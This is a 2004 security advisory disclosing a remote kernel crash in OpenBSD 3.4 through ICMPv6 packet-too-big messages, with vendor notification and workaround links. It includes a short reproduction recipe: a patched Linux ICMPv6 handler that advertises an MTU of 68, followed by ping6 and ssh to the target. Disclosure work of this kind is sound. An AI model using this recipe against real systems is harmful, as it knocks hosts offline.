Georgi Guninski security advisory #66, 2004

Remote openbsd crash with ip6, yet still openbsd much better than windows

Systems affected:
tested on openbsd 3.4
not clear about netbsd
freebsd not vulnerable

Risk: Medium
Date: 4 February 2004

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This Advisory is Copyright (c) 2004 Georgi Guninski.
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The information in this advisory is believed to be true though
it may be false.
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Description:
It is possible to remotely crash openbsd 3.4 if the host receives icmpv6
and there is a listening tcp port.
quoting de raadt: "it is just a crash."
remote crash which screws the kernel.
unknown whether this may be exploited for code execution.

Details:
The problem is triggered by setting small ipv6 mtu and then doing tcp
connect.
How to reproduce:
Patch linux kernel 2.4.24 net/ipv6/icmp.c :

case ICMPV6_ECHO_REPLY:
        /* we coulnd't care less */
icmpv6_send(skb, ICMPV6_PKT_TOOBIG, 0, 68, skb->dev); //joro

then:
ping6 openbsd
ssh -6 openbsd

Workaround:
It is believed that openbsd current is not vulnerable.
netbsd current also seems to have related changes.
check:
http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet6/ip6_output.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/netinet/tcp_output.c?sortby=date

Vendor status:
open, net and free bsd were notified Sun, 1 Feb 2004 16:35:56 +0200

Georgi Guninski
http://www.guninski.com